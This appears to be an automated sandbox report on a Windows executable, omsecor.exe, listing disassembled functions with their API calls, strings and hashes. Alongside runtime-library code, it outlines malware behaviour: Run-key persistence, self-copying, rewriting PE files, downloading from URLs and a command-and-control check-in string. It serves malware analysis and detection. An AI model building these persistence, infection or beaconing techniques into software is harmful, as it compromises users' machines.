Instruction ID: 0e9026f4e105130f7015617c44e62dc713e6d3fa9c6682f74f6de7838a23a284
Opcode Fuzzy Hash: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction Fuzzy Hash: 875108319042558BDB159F25C8442BABFB8EF05306F14847FE881FF282C63CCA46DB99

Function 00401AAA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

Strings

KERNEL32.DLL, xrefs: 00401ADE
EncodePointer, xrefs: 00401AF8

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction ID: 2de7d8fd10128b17cfc71597f2b569db04ade18300f5c4710948ea3b5a4a2571
Opcode Fuzzy Hash: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction Fuzzy Hash: 68F06D307017169BD7219F25DE04A5A3AB8AF80790B16417AB844F62F4EF38DC029A6D

Function 00401B21 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

Strings

DecodePointer, xrefs: 00401B6F
KERNEL32.DLL, xrefs: 00401B55

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction ID: 1a7e216e592b3cd04d2002f0154b272c3d781bc2d345389bf2442321812c8d59
Opcode Fuzzy Hash: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction Fuzzy Hash: 96F062305013129BC7215F24DE44E6A3AB89F407947154136F854F22F0EF34DC018A6D

Function 00407B29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction ID: 7291aa48b631972549e6df949c7a5fbc9f7bec4cf14f78cf3737268845182a7c
Opcode Fuzzy Hash: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction Fuzzy Hash: C3F02E36D01705A7E720A7B4CE49B6D3134AB88765F35013BF5017B2E2CABC4D06A62D

Function 00421170 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction ID: 38895570f31eb67b982826470c9dd1e6c230b0faa58df9c9f10e023fb9096192
Opcode Fuzzy Hash: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction Fuzzy Hash: 4DF0E936E48301D7E720A7A09D49B2D3134AB44765F34053BE001BB2E1CDBC4942661F

Function 00403F64 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00403F82

Part of subcall function 004034EE: __mtinitlocknum.LIBCMT ref: 00403502
Part of subcall function 004034EE: __amsg_exit.LIBCMT ref: 0040350E
Part of subcall function 004034EE: RtlEnterCriticalSection.NTDLL(?), ref: 00403516

___sbh_find_block.LIBCMT ref: 00403F8D
___sbh_free_block.LIBCMT ref: 00403F9C
HeapFree.KERNEL32(00000000,?,00409450,0000000C,004034CF,00000000,004093D0,0000000C,00403507,?,?,?,00406798,00000004,00409530,0000000C), ref: 00403FCC
GetLastError.KERNEL32(?,00406798,00000004,00409530,0000000C,00404045,?,?,00000000,00000000,00000000,00401CEF,00000001,00000214), ref: 00403FDD

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction ID: 478c35e85f2b107ed22a8aba67e00a0e018390ca299f0d6e226d856ee505d4b6
Opcode Fuzzy Hash: 288a25c0387cb816e710d6056d2e667d0bdf05a7bdcb3ee8ac501960d13b8eb0
Instruction Fuzzy Hash: AB012C71D05602AADB207FB29A0AB5E7A78DF0076AF20413FF404B61D1CB7C8A449A9D

Function 00403A33 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00401D3D: __amsg_exit.LIBCMT ref: 00401D4B

__amsg_exit.LIBCMT ref: 00403A5F
__lock.LIBCMT ref: 00403A6F
InterlockedDecrement.KERNEL32(?), ref: 00403A8C
InterlockedIncrement.KERNEL32(020E1588), ref: 00403AB7

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__lock
String ID:
API String ID: 4129207761-0
Opcode ID: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction ID: 3b707b5fd0894213fb8e8695ce472a26b52a1803b1b57e4fe7db1faaf9775e12
Opcode Fuzzy Hash: 8585fda054ee7361396d1f478d0024bbf818f9282079b570ad35bde21b9f8bf2
Instruction Fuzzy Hash: 3A018E32E00B119BD611AF6A990974A7B64BB05716F05403BE890773D1C73CAB51DFDE

Function 00401CC6 Relevance: 6.0, APIs: 4, Instructions: 45threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00404281,00402202,00000000,00402EFA,FFFFFFFE,?,?,?,?,00402F66), ref: 00401CC8

Part of subcall function 00401B98: TlsGetValue.KERNEL32(00000000,00401CDB,?,?,?,00402F66), ref: 00401B9F
Part of subcall function 00401B98: TlsSetValue.KERNEL32(00000000,?,?,00402F66), ref: 00401BC0

__calloc_crt.LIBCMT ref: 00401CEA

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401C07: GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
Part of subcall function 00401C07: GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
Part of subcall function 00401C07: InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
Part of subcall function 00401C07: __lock.LIBCMT ref: 00401C86
Part of subcall function 00401C07: ___addlocaleref.LIBCMT ref: 00401CA5

GetCurrentThreadId.KERNEL32 ref: 00401D1A
SetLastError.KERNEL32(00000000,?,?,?,00402F66), ref: 00401D32

Memory Dump Source

Source File: 00000004.00000002.1663507397.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1663486120.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663507397.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1663565291.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressErrorLastProc$CurrentHandleIncrementInterlockedModuleSleepThread___addlocaleref__calloc_crt__calloc_impl__lock
String ID:
API String ID: 1081334783-0
Opcode ID: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction ID: d2849ffa799b97934cc6d9bfafbcb639600e9549b280b5eba9c9c239b681eae2
Opcode Fuzzy Hash: 098acf1058f6266e08016df3b7da3ea01f889e9df5624f40869082c495d6053c
Instruction Fuzzy Hash: 2EF0FF325447229AD6363BB96D0AA8F3AA49F41761711093FF580B61F0CF3CD80296AD

Analysis Process: omsecor.exePID: 7452, Parent PID: 7360COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1147
Total number of Limit Nodes:	5

Executed Functions

Function 0040ABD9 Relevance: 3.0, APIs: 2, Instructions: 26
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

FindFirstFileW.KERNEL32(?,00000000), ref: 0040AC03
FindClose.KERNEL32(00000000), ref: 0040AC0F

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: FindOpen$CloseFileFirst
String ID:
API String ID: 3155378417-0
Opcode ID: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction ID: fa0310e4c65bbc590993533f650c85f5e3ee77ef27cd51fa1c8f473dbf319076
Opcode Fuzzy Hash: ab3d299b7ad4ae48143099222020c13c56cdbf39ef5f27e8c74799f3a551cc1f
Instruction Fuzzy Hash: 5DE0D87160C7044BE220E7B49D0C967B3DCAB45325F000F36A9B6E20C0FA38D46A465F

Function 0040B346 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 153
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B36C
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B39D

Part of subcall function 004069FD: RegCreateKeyExW.ADVAPI32(0040EA48,00000000,00000000,00000000,00000000,00020006,00000000,00000002,0040EA48,?,?,?,?,00406AD3,80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current), ref: 00406A22

GetLastError.KERNEL32(00000004), ref: 0040B3CA
Sleep.KERNEL32(00002710), ref: 0040B3F7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B413
CopyFileW.KERNEL32(?,?,00000000), ref: 0040B435
ExitProcess.KERNEL32 ref: 0040B44D

Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
Part of subcall function 0040AC20: RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

GetLastError.KERNEL32(00000004), ref: 0040B48D
GetLastError.KERNEL32(00000004), ref: 0040B49A
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 0040B4C7
GetModuleFileNameW.KERNEL32(00000000,?,00000400), ref: 0040B4D7
GetLastError.KERNEL32(00000004), ref: 0040B500

Strings

opeqmc.exe, xrefs: 0040B36E
/nomove, xrefs: 0040B4D9
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040B3AD
IueiOod, xrefs: 0040B3A8

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$ErrorLastModuleName$Open$CopyCreateEnvironmentExitExpandProcessSleepStrings
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run$opeqmc.exe
API String ID: 3692109554-477663111
Opcode ID: a37a2c0829b51652c0125789b7ef107c293a8625708184dc08050438480bf6fc
Instruction ID: ccf8aad4361994264e72a39918ed7d53ff083e628d4a69ee62a5d407c68d8035
Opcode Fuzzy Hash: a37a2c0829b51652c0125789b7ef107c293a8625708184dc08050438480bf6fc
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 004075D4 Relevance: 22.6, APIs: 15, Instructions: 128
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618
GetFileSize.KERNEL32(?,00000000), ref: 0040762E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407638
RtlAllocateHeap.NTDLL(00000000), ref: 0040763F
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00407660
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040767F
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 00407691
ReadFile.KERNEL32(?,?,00000040,?,00000000), ref: 004076A1
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076AF
ReadFile.KERNEL32(?,?,000000F8,?,00000000), ref: 004076C5
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 004076EF
WriteFile.KERNEL32(?,?,000000F8,?,00000000), ref: 00407705
CloseHandle.KERNEL32(?), ref: 00407714
CloseHandle.KERNEL32(?), ref: 00407719

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$PointerRead$CloseCreateHandleHeapWrite$AllocateProcessSize
String ID:
API String ID: 2296163861-0
Opcode ID: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction ID: 7ae3b020874f099f6a4231377d147a855b3f50186be4225f3fece46b7b724b47
Opcode Fuzzy Hash: 894f1e02061cece153af19de11902bbae5fe70548c4ece14d410128547cdf08b
Instruction Fuzzy Hash: F0416A71901028BADB209BA2DD48EEFBF7DEF45390F104476F619F21A0D7709A10DB64

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00406E69 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

hOA, xrefs: 00406E7E
0, xrefs: 00406EF5
Page generated at: , xrefs: 00407000
^nocrypt, xrefs: 00406F5C
From: , xrefs: 00406F8E
^key=, xrefs: 00406F2E
.html, xrefs: 00406F14
Via: , xrefs: 00406FAF

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: CountTick
String ID: .html$0$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-697497794
Opcode ID: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 0040A786 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 121
sleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00002710,00000000,00000000,00000000), ref: 0040A7A3
Sleep.KERNEL32(0000EA60,?,00000000,00000000,00000000), ref: 0040A899
Sleep.KERNEL32(00002710,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8CC
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8E5
HeapFree.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000), ref: 0040A8EC

Part of subcall function 00406D14: InternetAttemptConnect.WININET(00000000), ref: 00406D18

Strings

confirm^rev=%s^code=%s^param=%s^os=%s, xrefs: 0040A7BA
0, xrefs: 0040A848

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Sleep$Heap$AttemptConnectFreeInternetProcess
String ID: 0$confirm^rev=%s^code=%s^param=%s^os=%s
API String ID: 3100629401-2436734164
Opcode ID: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction ID: 7defdabbc875a2827947a9af70fbac2689cb4d570e6f2fffa55db425585f7fd8
Opcode Fuzzy Hash: c622fb37aa2467ece8f64e14a3bc52ff303aefc1e596290383a82c184368ac36
Instruction Fuzzy Hash: C0418372D00618AACB11EBE1DC859DF73BCEF44304F10847BF505B6181EA789A558F9E

Function 0040782A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,00000000,UniqueNum), ref: 0040784D
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407864
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00407879
CloseHandle.KERNEL32(00000000), ref: 00407880
GetTickCount.KERNEL32 ref: 00407888

Strings

UniqueNum, xrefs: 00407836

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$CloseCountCreateHandleModuleNameTickTime
String ID: UniqueNum
API String ID: 1853814767-3816303966
Opcode ID: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction ID: 2f8cc66c71eb5b32faf52737d8a911681d4da4e376004c23895cdbe2f04b10ac
Opcode Fuzzy Hash: e7107705f7d645ec0444386ddfffd8695f1bbe122d048c6309b931cdd7db22a5
Instruction Fuzzy Hash: AE110633419220ABD210AB65EC4CA9B7FACEF45760F004A3AF964E21D0D6349211C7AB

Function 00407E2B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,UniqueNum), ref: 00407E5C
ReadFile.KERNEL32(?,00000064,00000001,00000000), ref: 00407E74

Part of subcall function 00407CD7: GetModuleFileNameW.KERNEL32(00000000,?,00001000,00000000,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
Part of subcall function 00407CD7: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

x, xrefs: 00407E86
hOAd, xrefs: 00407E91
UniqueNum, xrefs: 00407E38
d, xrefs: 00407E7E

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: File$CreateModuleNamePointerRead
String ID: UniqueNum$d$hOAd$x
API String ID: 1528952607-1018652783
Opcode ID: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction ID: 0df55d11f519ebf6f0451cc58b4543fb7278309a9039aac926228ebb90f40a66
Opcode Fuzzy Hash: 015ecc0cc43ae81723c1e035d0cdbf130f909c8143b489dc0bfa89a80df37f55
Instruction Fuzzy Hash: 5311A531D09308AADF109B61DD05BDB3B6AAB00324F218676E612F61E0E7749D44CBAE

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNEL32(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 00000007.00000002.1840216745.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_omsecor.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
